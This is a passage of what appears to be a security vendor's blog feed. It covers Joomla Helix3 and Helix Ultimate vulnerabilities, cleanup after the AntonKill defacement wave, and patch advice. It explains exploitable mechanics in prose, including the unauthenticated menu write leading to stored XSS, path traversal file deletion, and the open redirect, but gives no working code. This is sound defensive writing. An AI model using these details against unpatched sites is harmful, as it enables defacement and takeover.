  &lt;p&gt;A defacement is often the polite version of a compromise. The same unauthenticated endpoint that wrote to your database can delete files and overwrite template settings, so once you have cleaned the visible skull, treat the site as breached: check for rogue administrator accounts, unexpected files, and modified scheduled tasks before you call it done.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Cleaning the Helix3 Defacement by Hand&lt;/h2&gt;
&lt;p&gt;If you are not a mySites.guru subscriber and want to clean a single site manually, it is two separate jobs, and doing only the first one is the most common mistake.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step one: close the door.&lt;/strong&gt; Update both Helix3 plugins to 3.1.2 or newer. That is the &quot;System - Helix3 Framework&quot; plugin and the &quot;Helix3 - Ajax&quot; plugin. They are separate plugins, and the vulnerable code is in the Ajax one, so updating the framework but leaving the old Ajax plugin in place keeps you exposed. Anything from Helix3 3.1.0 back to 1.0 is vulnerable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step two: remove what is already there.&lt;/strong&gt; Updating the plugin does not delete the code already sitting in your database. As the remediation guides for this wave state, &quot;an update does not remove existing malware&quot;. Go into the template style&apos;s Custom Code fields and strip out the foreign code from all four fields, or restore the &lt;code&gt;params&lt;/code&gt; column from a database backup taken before the attack.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step three: put your template back together.&lt;/strong&gt; The attack overwrites your template parameters, so once the injection is gone you may find your logo, custom CSS, and other Helix3 settings have been clobbered. Reconfigure them from your own records or a backup.&lt;/p&gt;
&lt;p&gt;If a plain-English recovery walkthrough would help, our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;how to fix a hacked Joomla site&lt;/a&gt; covers the wider cleanup, and if the site is business-critical and you would rather hand it over, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;our team fixes hacked sites&lt;/a&gt; directly.&lt;/p&gt;
&lt;h2&gt;How to Find Every Helix3 Site You Manage With mySites.guru&lt;/h2&gt;
&lt;p&gt;The hardest question after any framework flaw is not how to patch one site, it is which of your sites are even affected. Helix3 ships underneath a large number of JoomShaper templates, so it is entirely possible to be running it on dozens of client sites without ever having installed it by name.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template, and framework on every Joomla and WordPress site in your account. You search for Helix3 once and get back every affected site, the version each one is running, and whether the 3.1.2 update is available, without logging into a single admin panel. Filter for anything below 3.1.2 and you have your patch list.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find every Helix3 install across your sites&lt;/p&gt;
  &lt;p&gt;A live inventory of every Joomla and WordPress extension, template, and framework across all your connected sites. Search Helix3 once, see every version, and push the update to the sites that still need it. Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on one site to see the inventory for yourself.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Because this is a botnet, not a targeted attack, it re-hits anything left on a vulnerable version. A portfolio you patch halfway keeps getting re-defaced on the sites you missed, which is exactly the failure mode a single dashboard is built to prevent. The same approach carried us through the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE profiles hack in June&lt;/a&gt;: find every vulnerable install first, then fix in bulk. If managing Joomla sites one admin login at a time is the real problem underneath all this, that is what &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; from one screen is for.&lt;/p&gt;
&lt;h2&gt;A Pattern, Not a One-Off&lt;/h2&gt;
&lt;p&gt;The AntonKill wave is not happening in isolation. Through mid-2026 the Joomla ecosystem has taken a run of unauthenticated flaws in widely-installed extensions, all sharing one root cause: an endpoint that runs before it checks who is calling it. The Italian CERT Cyberoo, &lt;a href=&quot;https://cert.cyberoo.com/en/defacement-hacked-by-antonkill-what-the-attack-on-joomla-sites-tells-us/&quot;&gt;writing about AntonKill on 6 July&lt;/a&gt;, placed it against that broader context of Joomla extension exploitation, naming JCE, SP Page Builder, and iCagenda as the June examples where unauthenticated attackers could upload code and run it.&lt;/p&gt;
&lt;p&gt;Helix3 is the same class of bug in a different extension. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; dispatcher will happily call a plugin&apos;s handler for an anonymous visitor, because authorisation is the plugin&apos;s job, not Joomla&apos;s. When a plugin forgets to check, you get exactly this. We wrote about that structural blind spot in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints as a CMS security blind spot&lt;/a&gt;, and every one of these incidents is another instance of it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;CERT Cyberoo documents the mid-2026 Joomla exploitation wave but does not attribute the AntonKill defacements specifically to Helix3, and cautions against assuming a cause without server-level forensics. The Helix3 link for this wave comes from the cleanup firms handling the affected sites, the JoomShaper support forum, and our own investigation.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;A Tool for Each New Attack in This Wave&lt;/h2&gt;
&lt;p&gt;The Helix3 Custom Code Hack tool is not a one-off. As each of these flaws has surfaced through June and July, we have shipped a matching check into the &quot;Hacked?&quot; section of every site&apos;s snapshot, so a threat that was theoretical last week becomes a one-click check this week. On any connected Joomla site you now see the whole set side by side.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Each check maps to a real incident from this wave: &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE rogue profiles and backdoors&lt;/a&gt;, rogue super administrator accounts, the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder rogue icon-font assets&lt;/a&gt;, and now the Helix3 custom-code injection. You run them on one site from its snapshot, and across your whole portfolio in one pass. Do not stop at the first clean result: a compromise hides in more than one place, so a site is only clear once every check comes back OK.&lt;/p&gt;
&lt;h2&gt;mySites.guru Is About to Reveal Another Zero-Day Soon&lt;/h2&gt;
&lt;p&gt;And the wave is not over. We are already sitting on the next one: a fresh Joomla zero-day that allows full, unrestricted, unauthenticated file uploads. In our proof of concept, an uploaded &lt;code&gt;.php&lt;/code&gt; file ran with no login and no token, written to a predictable web-root path and executed as &lt;code&gt;text/html&lt;/code&gt;. That is clean remote code execution, the most serious class of web vulnerability there is.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;We will have the full write-up, and a mySites.guru check to find every affected site, out shortly. The pattern by then will be familiar: another unauthenticated endpoint, another extension in wide use, and another short window between disclosure and a botnet. The sites that come through it fine will be the ones already watching their whole estate from one place.&lt;/p&gt;
&lt;p&gt;The practical lesson is the one that repeats every time: a patch is only as good as your ability to apply it everywhere at once. Helix3 3.1.1 existed on 29 June. The sites getting defaced from 5 July onward are the ones that had no way to know they were running a vulnerable version until the skull appeared.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-49049&quot;&gt;CVE-2026-49049 on the NVD&lt;/a&gt; - the official record, CVSS 7.5, improper access control in the Helix3 Ajax plugin.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Our earlier write-up of the Helix3 flaw and JoomShaper&apos;s two-word changelog&lt;/a&gt; - what 3.1.1 actually fixed and why the announcement did not tell you.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cert.cyberoo.com/en/defacement-hacked-by-antonkill-what-the-attack-on-joomla-sites-tells-us/&quot;&gt;CERT Cyberoo on the AntonKill defacements&lt;/a&gt; - the wider 2026 Joomla exploitation context.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&quot;&gt;Joomla&apos;s official &quot;you have been hacked or defaced&quot; checklist&lt;/a&gt; - the project&apos;s own recovery steps.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Helix Ultimate 2.2.7 security update&lt;/a&gt; - the separate fix for JoomShaper&apos;s other template, in case you run both.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>hacked</category><category>vulnerability</category><category>helix3</category><category>joomshaper</category><category>defacement</category><category>wallet-drainer</category><enclosure url="https://mysites.guru/_astro/helix3-antonkill-defacement-wave.DKiFQPlG.png" length="0" type="image/png"/></item><item><title>Helix Ultimate 2.2.7 Closes an Unauthenticated Menu Write</title><link>https://mysites.guru/blog/helix-ultimate-security-update/</link><guid isPermaLink="true">https://mysites.guru/blog/helix-ultimate-security-update/</guid><description>Helix Ultimate 2.2.7 quietly fixes CSRF and permission gaps in its com_ajax handler, an unauthenticated menu write that leads to stored XSS, an in-folder file delete, and an open redirect. Here is what changed and why to update today.</description><pubDate>Tue, 07 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JoomShaper shipped Helix Ultimate 2.2.7 on 7 July 2026. It is a security release, and a substantial one: it puts missing login and permission checks back across the framework&apos;s AJAX handler, closes an unauthenticated write into your site&apos;s menus that leads to cross-site scripting, confines file operations so they cannot escape the folder they belong in, validates redirects, and tightens media uploads. None of that is obvious from the version number, and if you triage Joomla updates by how urgent they look, this one deserves to jump the queue.&lt;/p&gt;
&lt;p&gt;To their credit, JoomShaper&apos;s in-app changelog for 2.2.7 does more than the usual two-word &quot;Security Update&quot;. It lists the fixes and even tags them with the relevant weakness classes, CWE-862 for the missing authorisation and CWE-79 for the cross-site scripting:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That is genuinely better than most template vendors manage. What the changelog still does not tell you is how the flaws chained together, which one to worry about most, or how far behind your installed version really is. This post fills that in, so you can judge the severity for yourself and update with your eyes open.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: Helix Ultimate 2.2.7 patches several security holes in the framework&apos;s &lt;code&gt;com_ajax&lt;/code&gt; handler. Before the release, several AJAX actions ran with no CSRF token and no permission check, so an anonymous visitor could write to your menu settings, and because that output was not escaped, that is a route to stored cross-site scripting in your admin session. It also fixes an in-folder arbitrary file delete via a path-validation flaw, an open redirect through &lt;code&gt;helixreturn&lt;/code&gt;, an unprotected template settings export, and loose media upload validation. Every version below 2.2.7 is affected; the last public release before it was 2.2.4 (22 January 2026). This is not a zero-day and there is no CVE, but the patched code is public. Update every Helix Ultimate site to 2.2.7 now. If you manage more than a handful of Joomla sites, mySites.guru can list every Helix Ultimate install in your account in seconds and push the update.&lt;/p&gt;
&lt;h2&gt;How to find every Helix Ultimate site you manage with mySites.guru&lt;/h2&gt;
&lt;p&gt;The first question after any framework security release is the awkward one: which of my sites actually run this? Helix Ultimate is one of the most widely installed template frameworks in the Joomla world, bundled under the bonnet of a large number of JoomShaper templates and plenty of third-party ones, so plenty of people are running it without ever having chosen it by name. A vendor&apos;s update notice only helps if you can connect it to the right sites.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework installed on every Joomla and WordPress site in your account. You search for Helix Ultimate once, and you get back every affected site, the version each one is running, and whether the 2.2.7 update is available. No logging into 40 admin panels one at a time. No guessing.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your Helix Ultimate installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Helix Ultimate across all your connected Joomla sites and filter for anything below 2.2.7 to find the installations that still need updating.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;From that same list you can push the update to every affected site, so a vague sense of &quot;I should probably check my sites&quot; becomes a five-minute job across your whole account. If you are not a customer yet, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on one site and see the extension inventory for yourself, or read how we &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;p&gt;That is the practical answer. The rest of this post is the detail the changelog left out.&lt;/p&gt;
&lt;h2&gt;Helix Ultimate is not Helix3&lt;/h2&gt;
&lt;p&gt;JoomShaper ships two template frameworks with confusingly similar names, and they patched security holes in both within about a week of each other. Getting them mixed up will send you updating the wrong thing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Helix Ultimate&lt;/strong&gt; is the newer framework, and the subject of this post. It installs as the &lt;code&gt;helixultimate&lt;/code&gt; system plugin plus the &lt;code&gt;shaper_helixultimate&lt;/code&gt; template, and sometimes a small template installer plugin alongside them. Version 2.2.7 is the one you want.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Helix3&lt;/strong&gt; is the older, separate framework. It had its own set of unauthenticated file-write and file-delete flaws, fixed in &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Helix3 3.1.1 on 29 June 2026&lt;/a&gt;. That is a different codebase, a different version number, and a different update. If you run sites on both, each needs its own patch.&lt;/p&gt;
&lt;p&gt;The vulnerable code in this case is Helix Ultimate&apos;s AJAX handler, reachable through Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; dispatcher.&lt;/p&gt;
&lt;h2&gt;What the bugs actually did&lt;/h2&gt;
&lt;p&gt;Joomla has a built-in dispatcher called &lt;code&gt;com_ajax&lt;/code&gt; that lets a plugin expose an endpoint at a predictable URL. It is a normal, useful feature. The catch, and it is the same catch behind a long line of Joomla extension bugs, is that &lt;code&gt;com_ajax&lt;/code&gt; will happily call a plugin&apos;s handler for a completely anonymous visitor. Deciding whether that visitor is allowed to do what they are asking is the plugin&apos;s job, not Joomla&apos;s.&lt;/p&gt;
&lt;p&gt;In Helix Ultimate before 2.2.7, several of those actions did their work before checking a session token or a user permission. Here is what that exposed, roughly in order of how much it should worry you.&lt;/p&gt;
&lt;h3&gt;An unauthenticated write to your menus, leading to cross-site scripting&lt;/h3&gt;
&lt;p&gt;This is the one to care about. The framework&apos;s main AJAX handler took a &lt;code&gt;task&lt;/code&gt; value, split it into a class and method name, and called the matching code. Some of those methods wrote to the database with no token and no permission check in front of them, including the code that saves mega menu settings onto a menu item. So an anonymous request could store attacker-controlled content in a menu item&apos;s parameters.&lt;/p&gt;
&lt;p&gt;On its own that is bad enough. It gets worse because the menu and mega menu output was not escaped before being rendered, which is the cross-site scripting the changelog refers to. Stored content plus unescaped output is the textbook recipe for a stored XSS: a script the attacker plants once, that then runs in the browser of everyone who views the affected page. And a Joomla menu renders on more or less every page, including the administrator. Script that fires in a logged-in Super User&apos;s browser is the classic road to a freshly created admin account and a backdoor. That is why an &quot;unauthenticated write to a menu setting&quot; is not the minor-sounding issue it first appears.&lt;/p&gt;
&lt;h3&gt;An in-folder arbitrary file delete&lt;/h3&gt;
&lt;p&gt;The media manager&apos;s delete action was gated by a CSRF token but had no permission check and no proper path validation. The path you asked it to delete was joined onto the site root and passed more or less straight to the delete. Joomla&apos;s input filtering blocks the obvious &lt;code&gt;../../&lt;/code&gt; climb out of the web root, but a single traversal step inside a valid path still slipped through, so a request could delete files anywhere inside your Joomla folder: &lt;code&gt;configuration.php&lt;/code&gt;, an &lt;code&gt;.htaccess&lt;/code&gt;, extension files, and so on. Because the only gate was a token rather than a real permission check, this was reachable by any logged-in user who could obtain a token, or by tricking a logged-in administrator into loading a malicious page (a cross-site request forgery). 2.2.7 adds the missing permission checks and confines the path properly.&lt;/p&gt;
&lt;h3&gt;An open redirect&lt;/h3&gt;
&lt;p&gt;The framework read a &lt;code&gt;helixreturn&lt;/code&gt; value from the URL, base64-decoded it, and redirected the browser to it with no validation. That is a classic open redirect: an attacker crafts a link that looks like it points at your trusted domain but bounces the visitor off to a phishing page. 2.2.7 validates the decoded target and only redirects to internal URLs.&lt;/p&gt;
&lt;h3&gt;An unprotected template export and loose uploads&lt;/h3&gt;
&lt;p&gt;Two smaller items round it out. The template settings export ran without checking that the requester had permission to manage templates, which leaks configuration to anyone who asks. And the media upload validation was loose enough that the release tightened it to image types only, explicitly blocking SVG and ICO in the media manager (both can carry active content). The changelog also notes it stopped media uploads from accidentally triggering a template style import, and stripped internal server paths out of upload error messages so they stop leaking your directory structure.&lt;/p&gt;
&lt;h2&gt;How 2.2.7 closes it&lt;/h2&gt;
&lt;p&gt;The shape of the fix is reassuring, because it is consistent rather than a series of one-off patches. The old code trusted the request. The new code verifies it, the same way, across every action. Here is the release mapped to what each piece addresses.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hardening in 2.2.7&lt;/th&gt;
&lt;th&gt;What it fixes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;A shared guard that runs a CSRF token check and a permission check in front of every AJAX action&lt;/td&gt;
&lt;td&gt;Stops anonymous and unauthorised requests reaching the menu write, media, export and other handlers (the CWE-862 missing-authorisation class)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Menu and mega menu settings restricted to a known set of valid attributes before they are saved&lt;/td&gt;
&lt;td&gt;Stops arbitrary attacker-controlled data being written into menu parameters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Output escaping added to media embeds, galleries, Mega Menu, Layout Builder and font options&lt;/td&gt;
&lt;td&gt;Fixes the stored and reflected cross-site scripting (CWE-79)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Redirect targets validated and restricted to internal URLs only&lt;/td&gt;
&lt;td&gt;Kills the open redirect through &lt;code&gt;helixreturn&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Corrected path validation in media, layout and blog file operations, confining them to their intended folders&lt;/td&gt;
&lt;td&gt;Kills the in-folder file delete and related traversal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Permission checks added to blog image removal and template settings export&lt;/td&gt;
&lt;td&gt;Stops unauthorised deletion and configuration disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Upload validation restricted to image types, with SVG and ICO blocked in the media manager&lt;/td&gt;
&lt;td&gt;Removes upload vectors that can carry active content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Frontend article saving restricted to valid Helix Ultimate attributes; direct POST access replaced with Joomla&apos;s input filtering; internal server paths stripped from upload error responses&lt;/td&gt;
&lt;td&gt;Closes mass-assignment, unfiltered input and information-disclosure gaps&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Is this a zero-day?&lt;/h2&gt;
&lt;p&gt;No, and it is worth being precise, because the word gets thrown around. A zero-day is a flaw that is being exploited before a fix exists. That is not what happened here.&lt;/p&gt;
&lt;p&gt;JoomShaper&apos;s own team wrote and shipped the fix. The security changes went in as a single pull request that was merged and tagged as the 2.2.7 release within about two minutes of each other on 7 July 2026. The code and the patch became public at the same instant, there is no CVE, no security advisory was published, and nobody has reported exploitation in the wild. We confirmed the details by reading the public code difference between the old and new versions, not by finding a compromised site.&lt;/p&gt;
&lt;p&gt;What this is, is an n-day risk: the moment a security fix ships, the patched code becomes a map. Anyone can line 2.2.7 up against the old version and work out exactly what each change is defending against, which is precisely how a stored XSS or an unauthenticated write gets turned into a working exploit. That is the clock every unpatched site is now racing. The sibling framework shows what running out that clock looks like: Helix3&apos;s own unauthenticated flaw, patched a week earlier, is now being mass-exploited in the &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Hacked by AntonKill defacement wave&lt;/a&gt;, defacing Joomla sites that never applied the fix.&lt;/p&gt;
&lt;h2&gt;The recurring pattern behind this&lt;/h2&gt;
&lt;p&gt;We keep writing about the same root cause because it keeps happening: an AJAX endpoint that Joomla will run for anyone, where the plugin checks a token, or nothing at all, but never checks who is actually calling it. A &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;CSRF token confirms the request came from your own page; it does not confirm the person is allowed to make it&lt;/a&gt;. Authorisation is a separate step, and it is the one that keeps getting left out.&lt;/p&gt;
&lt;p&gt;The same shape turned up in &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain&lt;/a&gt;, in the &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid framework&lt;/a&gt;, in &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt;, in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;, and in Helix3 the week before this one. Helix Ultimate 2.2.7 is the same lesson again, and the fix, a single shared guard that enforces both a token and a permission on every action, is the right one. If you develop Joomla extensions, that shared-guard pattern is the thing worth copying.&lt;/p&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Find every Helix Ultimate install you run.&lt;/strong&gt; If you use mySites.guru, search your extension inventory for Helix Ultimate and you have the list in seconds. If you do not, you will need to check each site&apos;s installed extensions by hand.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update every one of them to Helix Ultimate 2.2.7.&lt;/strong&gt; The update is live on JoomShaper&apos;s update server and shows in the normal Joomla updater. The framework installs as more than one piece, so update everything Helix Ultimate the updater offers, not just one of them. Unpublishing the plugin is not enough on its own, because the files stay on the server and the AJAX endpoint can still be reached directly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not confuse Helix Ultimate with Helix3.&lt;/strong&gt; They are separate products with separate updates. This one is Helix Ultimate 2.2.7.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check exposed sites for tampering.&lt;/strong&gt; Because the flaws allowed menu writes and file deletes, a site left unpatched could already have been touched. Check your menus and mega menu settings for entries you did not add, confirm protective files like &lt;code&gt;.htaccess&lt;/code&gt; are still where they should be, and look at your Joomla Users list for Super User accounts you do not recognise. Our guides on &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla site&lt;/a&gt; walk through this.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you would rather not do any of that by hand across a portfolio of client sites, that is exactly the job mySites.guru exists for. One inventory, every site, every framework version, one click to update. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; and see what is actually installed across your sites.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;The wider run of Joomla extension disclosures we made in a single month&lt;/a&gt; - where Helix Ultimate 2.2.7 sits among a dozen others.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/downloads/template/helixultimate&quot;&gt;Download Helix Ultimate&lt;/a&gt; - JoomShaper&apos;s download page, where the 2.2.7 release and its full changelog live.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot;&gt;Using the Joomla com_ajax interface&lt;/a&gt; - how the unauthenticated endpoint works.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/862.html&quot;&gt;CWE-862: Missing Authorization&lt;/a&gt; - the weakness class behind the missing permission checks.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Cross-site Scripting&lt;/a&gt; - the weakness class behind the menu and Layout Builder XSS.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vel.joomla.org/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; - the community-run list of known Joomla extension issues.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>helix-ultimate</category><category>joomshaper</category><category>csrf</category><category>xss</category><enclosure url="https://mysites.guru/_astro/helix-ultimate-security-update.B9_eFU6L.png" length="0" type="image/png"/></item><item><title>Helix3 Shipped a Critical Fix as &quot;Security Update&quot;</title><link>https://mysites.guru/blog/helix3-security-update-changelog-failure/</link><guid isPermaLink="true">https://mysites.guru/blog/helix3-security-update-changelog-failure/</guid><description>Helix3 3.1.1 patches an unauthenticated file write and arbitrary file delete in the Helix3 ajax plugin. JoomShaper announced it, but told nobody what it fixes. Here is the detail, and why you should update now.</description><pubDate>Mon, 29 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JoomShaper shipped Helix3 3.1.1 on 29 June 2026. The update fixes a serious security flaw: an attacker with no login at all could write files into your template, delete arbitrary files on your server, and overwrite your template settings, all through a single unauthenticated request. We found these issues while investigating a hacked mySites.guru customer site, and reported them privately under responsible disclosure.&lt;/p&gt;
&lt;p&gt;JoomShaper did tell people an update was available. They emailed users and they wrote a changelog entry. Credit where it is due, plenty of vulnerabilities get patched in total silence. The trouble is what those two announcements actually said.&lt;/p&gt;
&lt;p&gt;Here is the Helix3 3.1.1 changelog on JoomShaper&apos;s own site, in full:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Two words. &quot;Security Update.&quot; The email went a little further:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&quot;A focused security update we recommend all users apply as soon as possible.&quot; That is better than the changelog, and the &quot;Action Required&quot; subject line is the right instinct. But put both side by side and the same gap remains: neither tells you what was fixed, how severe it is, or whether it is being exploited. If you manage Joomla sites for clients, you still cannot answer the only question that matters: do I patch tonight, or does it wait for the monthly maintenance window? That is the problem this post is really about.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: Helix3 3.1.1 patches an unauthenticated file write, an unauthenticated arbitrary file delete, and an unauthenticated template-parameter overwrite in the Helix3 ajax plugin. The handler is reachable through Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; dispatcher and ran several actions before any token or permission check. It affects current Joomla (4, 5 and 6), not just legacy installs. JoomShaper announced the update by email and changelog, but neither says what was fixed or how serious it is. Update every Helix3 site to 3.1.1 now. If you manage more than a handful of Joomla sites, mySites.guru can list every Helix3 install in your account in seconds and push the update.&lt;/p&gt;
&lt;h2&gt;How to find every Helix3 site you manage with mySites.guru&lt;/h2&gt;
&lt;p&gt;The first question after any framework vulnerability is the hard one: which of my sites actually run this? A vendor email helps only if it reaches the right inbox and you connect it to the right sites. You still have to know where Helix3 is installed.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework installed on every Joomla and WordPress site in your account. You search for Helix3 once, and you get back every affected site, the version each one is running, and whether the 3.1.1 update is available. No logging into 40 admin panels one at a time. No guessing.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your Helix3 installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f9a98dd0c859b437f8a18e53f4f37a99&quot;&gt;Open Helix3 Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every installed version across all your connected Joomla sites. Filter for anything below 3.1.1 to find the installations that still need updating.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;From that same list you can push the update to every affected site, so a vague vendor notice becomes a five-minute job across your whole account instead of an evening of manual work. If you are not a customer yet, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on one site and see the extension inventory for yourself, or read how we &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;p&gt;That is the practical answer. The rest of this post is the detail JoomShaper&apos;s changelog left out, so you can judge the severity yourself.&lt;/p&gt;
&lt;h2&gt;What Helix3 is, and what it is not&lt;/h2&gt;
&lt;p&gt;JoomShaper ships two products with confusingly similar names, and getting them mixed up will send you patching the wrong thing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Helix3&lt;/strong&gt; is the original template framework. It installs as a system plugin (&lt;code&gt;System - Helix3 Framework&lt;/code&gt;) plus a companion ajax plugin, &lt;code&gt;plg_ajax_helix3&lt;/code&gt;. This is what 3.1.1 patches. Despite the name and its age, it is not a Joomla 3 relic: the 3.1.1 update manifest declares compatibility with Joomla 4.0 through 6.5, and the patched code carries explicit Joomla 5 and 6 branches. It runs on current Joomla.&lt;/p&gt;
